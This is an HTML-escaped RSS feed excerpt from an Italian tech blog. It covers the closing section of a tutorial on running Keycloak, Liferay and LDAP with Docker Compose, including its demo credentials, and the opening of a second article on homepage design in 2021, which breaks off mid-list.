questa prova.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 - Check Docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 - Clone the project git repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/keycloak-openid-connect-liferay.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 - Update the /etc/hosts with this content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   iam.smc.lab.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   portal.smc.lab.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 - Start the Docker Compose stack services&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose --env-file env/development.env up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Avvio dello stack dei servizi via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il tempo necessario affinché i servizi siano tutti operativi è variabile e dipende
in gran parte dalla disponibilità delle risorse della macchina sui cui è in
esecuzione Docker e quante di queste siano state assegnate a Docker stesso.&lt;/p&gt;&lt;p&gt;In questo specifico caso ho assegnato a Docker le seguenti risorse: CPUx2, 8GByte
di memoria RAM, 1GByte di Swap e 10GByte di storage. Queste sono le risorse
minime per avere un ambiente &amp;quot;usabile&amp;quot;. Ho eseguito un test con 6GByte di
memoria RAM, lo stack &amp;quot;regge&amp;quot; anche se funziona con fatica.&lt;/p&gt;&lt;p&gt;Per darvi un&amp;#x27;idea dei tempi di star-up (escludendo i tempi di pull delle immagini),
sul mio MacBook Pro 2,5 GHz Intel Core i7 dual-core, 16 GB 2133 MHz LPDDR3, il
tempo di star-up è di circa sei minuti, per il primo start, tempo che scende
a circa 3,5 minuti dal secondo start.&lt;/p&gt;&lt;p&gt;I tempi di start-up sulla mia &lt;a href=&quot;https://www.dontesta.it/2021/05/23/la-mia-workstation-di-sviluppo-da-smart-worker/&quot;&gt;&lt;em&gt;Workstation Linux&lt;/em&gt;&lt;/a&gt;
sono decisamente inferiori. Il primo start 1,15 minuti, dal secondo start in poi
1,02 minuti.&lt;/p&gt;&lt;p&gt;Una volta che i servizi sono tutti su, l&amp;#x27;ambiente è pronto per essere configurato
così come abbiamo visto nel corso di questo articolo. Un modo veloce per
controllare che i servizi di nostro interesse siano su, è quello di connettersi
alla console di Traefik all&amp;#x27;indirizzo http://localhost:9080/dashboard. La figura a
seguire mostra lo stato dei servizi di Keycloak e Liferay.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/d9ed5/dashboard-traefik-services.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;186\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20186\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2011v11h401V0H0v11m12%20129v5h10v-10l-5-1h-5v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/c85cb/dashboard-traefik-services.webp 300w,/static/1597b54cd21e7ed40072ec313ac8ec3d/e88ff/dashboard-traefik-services.webp 600w,/static/1597b54cd21e7ed40072ec313ac8ec3d/92f8c/dashboard-traefik-services.webp 1200w,/static/1597b54cd21e7ed40072ec313ac8ec3d/62ed8/dashboard-traefik-services.webp 1800w,/static/1597b54cd21e7ed40072ec313ac8ec3d/46261/dashboard-traefik-services.webp 2400w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d3d72/dashboard-traefik-services.webp 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/5a46d/dashboard-traefik-services.png 300w,/static/1597b54cd21e7ed40072ec313ac8ec3d/0a47e/dashboard-traefik-services.png 600w,/static/1597b54cd21e7ed40072ec313ac8ec3d/c1b63/dashboard-traefik-services.png 1200w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d61c2/dashboard-traefik-services.png 1800w,/static/1597b54cd21e7ed40072ec313ac8ec3d/97a96/dashboard-traefik-services.png 2400w,/static/1597b54cd21e7ed40072ec313ac8ec3d/d9ed5/dashboard-traefik-services.png 2880w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 24 - Stato dei servizi dalla dashboard di Traefik&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1597b54cd21e7ed40072ec313ac8ec3d/c1b63/dashboard-traefik-services.png&quot; title=&quot;Figura 24 - Stato dei servizi dalla dashboard di Traefik&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 24 - Stato dei servizi dalla dashboard di Traefik&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c8b6f6fcb255aefaefab49982104b216/81a70/dashboard-traefik-services-details.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;250\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20250\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%209v9h401V0H0v9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c8b6f6fcb255aefaefab49982104b216/c85cb/dashboard-traefik-services-details.webp 300w,/static/c8b6f6fcb255aefaefab49982104b216/e88ff/dashboard-traefik-services-details.webp 600w,/static/c8b6f6fcb255aefaefab49982104b216/92f8c/dashboard-traefik-services-details.webp 1200w,/static/c8b6f6fcb255aefaefab49982104b216/62ed8/dashboard-traefik-services-details.webp 1800w,/static/c8b6f6fcb255aefaefab49982104b216/46261/dashboard-traefik-services-details.webp 2400w,/static/c8b6f6fcb255aefaefab49982104b216/855ae/dashboard-traefik-services-details.webp 2616w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c8b6f6fcb255aefaefab49982104b216/5a46d/dashboard-traefik-services-details.png 300w,/static/c8b6f6fcb255aefaefab49982104b216/0a47e/dashboard-traefik-services-details.png 600w,/static/c8b6f6fcb255aefaefab49982104b216/c1b63/dashboard-traefik-services-details.png 1200w,/static/c8b6f6fcb255aefaefab49982104b216/d61c2/dashboard-traefik-services-details.png 1800w,/static/c8b6f6fcb255aefaefab49982104b216/97a96/dashboard-traefik-services-details.png 2400w,/static/c8b6f6fcb255aefaefab49982104b216/81a70/dashboard-traefik-services-details.png 2616w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 25 - Dettaglio dello stato del servizio liferay@docker&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c8b6f6fcb255aefaefab49982104b216/c1b63/dashboard-traefik-services-details.png&quot; title=&quot;Figura 25 - Dettaglio dello stato del servizio liferay@docker&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 25 - Dettaglio dello stato del servizio liferay@docker&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Le credenziali di accesso per i vari servizi sono indicate a seguire:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Keycloak (credenziali di accesso alla console di amministrazione): &lt;em&gt;admin/Pa55w0rd&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Liferay (credenziali di accesso come amministratore): &lt;em&gt;test/test&lt;/em&gt;&lt;/li&gt;&lt;li&gt;LDAP (credenziali di accesso come amministratore): &lt;em&gt;cn=admin,dc=smc,dc=local/admin&lt;/em&gt;&lt;/li&gt;&lt;li&gt;LDAP (credenziali di accesso in sola lettura): &lt;em&gt;cn=readonly,dc=smc,dc=local/readonly&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Il file &lt;a href=&quot;https://it.wikipedia.org/wiki/LDAP_Data_Interchange_Format&quot;&gt;LDAP Data Interchange Format&lt;/a&gt;
&lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/ldap/bootstrap.ldif&quot;&gt;&lt;strong&gt;config/ldap/bootstrap.ldif&lt;/strong&gt;&lt;/a&gt;
(disponibile sul repository) contiene tutta la struttura di directory del
servizio LDAP. La password per tutti gli utenti è: &lt;em&gt;test&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tips configurazione Liferay&lt;/strong&gt;: dovreste notare che il portale Liferay risulta
già configurato per la parte di OpenID Connect, l&amp;#x27;unica cosa da revisionare è il
client secret (generato su Keycloak) che dovreste aggiornare. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tips configurazione Keycloak&lt;/strong&gt;: Keycloak non risulta essere configurato, dovreste
provvedere voi a farlo secondo quanto descritto nel corso dell&amp;#x27;articolo, oppure,
potreste caricare la configurazione dal file json &lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/keycloak/export/realm-export-smc-lab-local-realm.json&quot;&gt;realm-export-smc-lab-local-realm.json&lt;/a&gt;
disponibile all&amp;#x27;interno del repository (directory config/keycloak/export). Nel
caso della seconda opzione, ricordo che dovreste poi rigenerare il client secret
e rimettere la password di accesso per il servizio LDAP.&lt;/p&gt;&lt;h2 id=&quot;7---conclusioni&quot;&gt;7 - Conclusioni&lt;/h2&gt;&lt;p&gt;Ben arrivati alla fine! Per esseri giunti fino in fondo alla lettura di questo
articolo, sono abbastanza sicuro che vi siate trovati nella situazione appena
descritta o che siate in procinto di dover affrontare quest&amp;#x27;attività.&lt;/p&gt;&lt;p&gt;Mi son trovato più volte in questa situazione, e la strada che ho voluto indicare
con questo articolo è quella che ritengo più vantaggiosa, soprattutto in termini
di sforzo.&lt;/p&gt;&lt;p&gt;Voi come avete affrontato questo tema? Discutiamone insieme.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Cos'è una Homepage nel 2021?]]></title><link>https://techblog.smc.ithomepage-2021</link><guid isPermaLink="false">https://techblog.smc.ithomepage-2021</guid><pubDate>Thu, 18 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Che cos’è davvero una homepage? Le homepage sono le stesse di anni fa? Come sono cambiate?
Perché è importante una homepage e sapere come gli utenti ci arrivano?&lt;/p&gt;&lt;p&gt;In questo articolo andremo a rispondere a queste domande cercando di analizzare
come sono composte le homepage di oggi e come possono essere utilizzate al meglio
dando alcuni consigli per poter migliorare la vostra.
Prima è necessario partire dal concetto stesso di Homepage.&lt;/p&gt;&lt;h1 id=&quot;-la-definizione&quot;&gt;🏠 La definizione&lt;/h1&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;La Homepage è la pagina di atterraggio di default quando non è specificato alcun path.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Delle volte viene confusa con la prima pagina che compare quando viene avviata una
applicazione, per questo motivo potrebbe venire anche identificata con il temine di &lt;em&gt;start page&lt;/em&gt;.
Nel web questo non accade sempre, ci sono molti fattori che potrebbero indirizzare
l&amp;#x27;utente verso un&amp;#x27;altra pagina del sito.&lt;/p&gt;&lt;p&gt;Negli anni &amp;#x27;90, ma prosegue anche nei primi anni 2000, la Homepage veniva utilizzata
come Indice del sito. Il suo scopo era quello di rendere tutte le pagine
raggiungibili da un&amp;#x27;unica pagina e fornire una &amp;quot;lista di titoli&amp;quot; dei contenuti
che compongono il sito.&lt;/p&gt;&lt;p&gt;Non è un caso che in quasi tutti i web server la homepage corrisponde al file &lt;em&gt;index.html&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Un esempio? Ce lo riporta il sito &lt;a href=&quot;https://www.spacejam.com/&quot;&gt;https://www.spacejam.com/&lt;/a&gt;
dove ogni elemento nella home rappresenta il link ad una pagina del sito.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ef1fdd72e0c40bf53a1177716a604c5d/9efb3/spacejam.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;191\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20191\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2095v96h401V0H0v95m220-62c-3%204-3%205%200%208%205%204%2011%201%2011-4%200-6-6-8-11-4m24%205l3%201%203%201-3%202c-2%200-3%202-4%204l-3%205-2%203h2c-1%201%2012%202%2014%201l4-3%203-5c3-3%202-5-1-5h-3l-3-1c-4%200%200-2%204-2l2-1h-16m-42%2024l-12%209c-5%205-5%205-6%203%200-2-2-3-2-1h-6c-7-2-10%200-7%204l1%202-2%202c0%202%202%203%207%201%202-1%203-1%204%201h1l2-2c1%200%202%201%201%202l2%205%201%203%209%209c4%202%208%200%2010-5%201-4%201-5-2-3s-6%201-7-1-1-2%201-2l4-1c1-1%202-2%203-1l2-1c1-3%205-2%206%200%200%202%200%202%202%201l4-1c1%201%201%200%201-2s0-2%201-1c2%202%202%202%203%200v-2l1%202c1%203%203%204%205%202v-4l-2-8-1-4-2%202c-3%203-3%203-4%201v-2l1-5c0-7-8-8-19-3m-61%205l-1%201c-2%200-2%202-1%202%201%201%200%201-1%201-2%200-3%202-1%204l1-1%202-1v1c-2%201-2%205%201%206h11c1-2-6-8-8-8-5%200-3-2%201-2%206%200%207-2%201-2l-3-1-1-1-1%201m110%204c-3%201-1%202%203%202l3-1-3%203-2%204v2l-1%201%202%201%204%201%204-2c3-3%203-4%200-7l-2-2h3c3%200%204-1%201-2h-12M139%2087c-2%201-1%202%202%202%202%200%202%200%200%201-2%202-4%205-2%208v2h9c3-3%202-8-1-9-2-1-3-2-2-3%200-2-3-3-6-1m103%208c-5%200-3%202%203%202h6l-4%202c-8%205-3%2016%206%2014%206-2%208-11%202-14-2-1-2-1%200-2h3c2%201%205%200%205-1l-2-1h-19m-81%2013c-2%202-2%204-2%207s-1%204-2%204l-1%202c0%202%202%201%203-1h1c0%202%206%204%209%203%204%200%207-4%207-8%200-8-9-12-15-7m32%2019c-5%203-7%206-6%208%202%202%206%201%2011-3l3-1%202%201c1%201%202%200%202-1l-2-1-2-2c-1-3-4-3-8-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ef1fdd72e0c40bf53a1177716a604c5d/c85cb/spacejam.webp 300w,/static/ef1fdd72e0c40bf53a1177716a604c5d/e88ff/spacejam.webp 600w,/static/ef1fdd72e0c40bf53a1177716a604c5d/92f8c/spacejam.webp 1200w,/static/ef1fdd72e0c40bf53a1177716a604c5d/62ed8/spacejam.webp 1800w,/static/ef1fdd72e0c40bf53a1177716a604c5d/eb397/spacejam.webp 1894w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ef1fdd72e0c40bf53a1177716a604c5d/5a46d/spacejam.png 300w,/static/ef1fdd72e0c40bf53a1177716a604c5d/0a47e/spacejam.png 600w,/static/ef1fdd72e0c40bf53a1177716a604c5d/c1b63/spacejam.png 1200w,/static/ef1fdd72e0c40bf53a1177716a604c5d/d61c2/spacejam.png 1800w,/static/ef1fdd72e0c40bf53a1177716a604c5d/9efb3/spacejam.png 1894w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Fonte: www.spacejam.com. 23 Ottobre 2020.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ef1fdd72e0c40bf53a1177716a604c5d/c1b63/spacejam.png&quot; title=&quot;Fonte: www.spacejam.com. 23 Ottobre 2020.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Fonte: www.spacejam.com. 23 Ottobre 2020.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h1 id=&quot;-homepage-ai-giorni-doggi&quot;&gt;⏳ Homepage ai giorni d&amp;#x27;oggi&lt;/h1&gt;&lt;p&gt;Questa interpretazione della homepage era giustificata dal modo con cui gli utenti accedevano ai siti: tipicamente digitando direttamente il dominio e da lì recuperando le informazioni che cercavano.
Una homepage che aiutasse i visitatori a muoversi nel sito era più che adeguata.&lt;/p&gt;&lt;p&gt;Ai giorni d&amp;#x27;oggi la homepage ha una responsabilità diversa perché gli utenti raggiungono i contenuti in maniera più profonda rispetto al passato poiché i motori di ricerca tendono a portare gli utenti nelle pagine specifiche di loro interesse.
Similmente, nei social media, tendiamo noi in prima battuta a condividere pagine più specifiche per dare seguito a una campagna di promozione di un servizio, di un prodotto o di una iniziativa.&lt;/p&gt;&lt;p&gt;Gli utenti finiscono sulla nostra homepage quando non hanno un&amp;#x27;opzione migliore o quando raggiunta una pagina più profonda, vogliono salire di livello e comprendere con più chiarezza il contesto in cui si trovano.&lt;/p&gt;&lt;p&gt;É ormai un pattern da rispettare quello per cui il logo in alto a sinistra ci porti all&amp;#x27;homepage. Quante volte lo abbiamo cliccato dopo essere finiti su una pagina di un articolo, di un blog o su una pagina di dettaglio?&lt;/p&gt;&lt;h1 id=&quot;️-progettazione-della-homepage&quot;&gt;✏️ Progettazione della Homepage&lt;/h1&gt;&lt;p&gt;Una volta chiarita che cosa rappresenta l&amp;#x27;Homepage ai giorni d&amp;#x27;oggi possiamo passare alla progettazione della pagina. &lt;/p&gt;&lt;p&gt;Per prima cosa avremo bisogno di individuare l&amp;#x27;audience a cui è rivolto il nostro sito per poterne ricavare alcune informazioni utili come:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;gli &lt;strong&gt;obiettivi&lt;/strong&gt; a cui l&amp;#x27;homepage deve rispondere;&lt;/li&gt;&lt;li&gt;gli &lt;strong&gt;assi&lt;/strong&gt; per poter classificare i visitatori;&lt;/li&gt;&lt;li&gt;come i visitatori sono suddivisi in &lt;strong&gt;segmenti&lt;/strong&gt;;&lt;/li&gt;&lt;li&gt;le &lt;strong&gt;necessità primarie&lt;/strong&gt; (di ogni segmento e della nostra homepage in generale).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Infine, individuate queste informazioni si può procedere con la &amp;quot;targetizzazione del contenuto&amp;quot; in base alla audience.&lt;/p&gt;&lt;p&gt;Capiamo meglio di cosa stiamo parlando tramite un esempio.&lt;/p&gt;&lt;h1 id=&quot;-il-caso-open-square-digital-lake-per-lecm&quot;&gt;📗 Il caso Open Square Digital Lake per l&amp;#x27;ECM&lt;/h1&gt;&lt;p&gt;Per raccontarvi come approcciamo le homepage in SMC vorremmo portarvi un esempio interno: il sito di presentazione commerciale della soluzione Open Square Digital Lake per fare l&amp;#x27;&lt;strong&gt;Enterprise Content Management&lt;/strong&gt; (o ECM), che per riferimento potete trovare all’url
&lt;a href=&quot;https://ecm.opensquare.it/&quot;&gt;https://ecm.opensquare.it/&lt;/a&gt;&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f04f37f352c3ffcdd6b9e5b15008eb59/10b63/homepage-ecm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;187\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20187\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2081v80h401V0H0v81m70%2021l1%207%201-4c0-5%201-5%203-1s3%204%205%200l2-3v3c1%208%203%206%203-2s-2-9-5-3l-2%204-3-4c-3-6-5-5-5%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f04f37f352c3ffcdd6b9e5b15008eb59/c85cb/homepage-ecm.webp 300w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/e88ff/homepage-ecm.webp 600w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/92f8c/homepage-ecm.webp 1200w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/62ed8/homepage-ecm.webp 1800w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/eccbe/homepage-ecm.webp 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f04f37f352c3ffcdd6b9e5b15008eb59/5a46d/homepage-ecm.png 300w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/0a47e/homepage-ecm.png 600w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/c1b63/homepage-ecm.png 1200w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/d61c2/homepage-ecm.png 1800w,/static/f04f37f352c3ffcdd6b9e5b15008eb59/10b63/homepage-ecm.png 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Fonte: https://ecm.opensquare.it. 30 Marzo 2021.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f04f37f352c3ffcdd6b9e5b15008eb59/c1b63/homepage-ecm.png&quot; title=&quot;Fonte: https://ecm.opensquare.it. 30 Marzo 2021.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Fonte: https://ecm.opensquare.it. 30 Marzo 2021.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;L&amp;#x27;&lt;strong&gt;obiettivo&lt;/strong&gt; della nostra Homepage è quello di poter essere materiale a supporto delle attività commerciali e di marketing per la promozione della nostra soluzione.&lt;/p&gt;&lt;p&gt;Una delle difficoltà che avevamo nel progettare questo sito è che la piattaforma Open Square Digital Lake offre prodotti e soluzioni per rispondere alle problematiche delle PMI italiane ma, il sito tratta soltanto una specifica parte di questo, ovvero gli strumenti per la digitalizzazione e standardizzazione ed efficientamento dei processi aziendali.&lt;/p&gt;&lt;p&gt;Come fare a progettare un sito su un argomento così complesso per altro parte di una piattaforma così completa? &lt;/p&gt;&lt;p&gt;Questa sfida l&amp;#x27;abbiamo affrontata decidendo di segmentare l&amp;#x27;audience in base alla propria &amp;quot;customer maturity&amp;quot; e abbiamo agito su due &lt;strong&gt;assi&lt;/strong&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;customer maturity intesa come conoscenza del prodotto Open Square Digital Lake e della nostra realtà aziendale;&lt;/li&gt;&lt;li&gt;customer maturity intesa come conoscenza del dominio: software di gestione documentale e 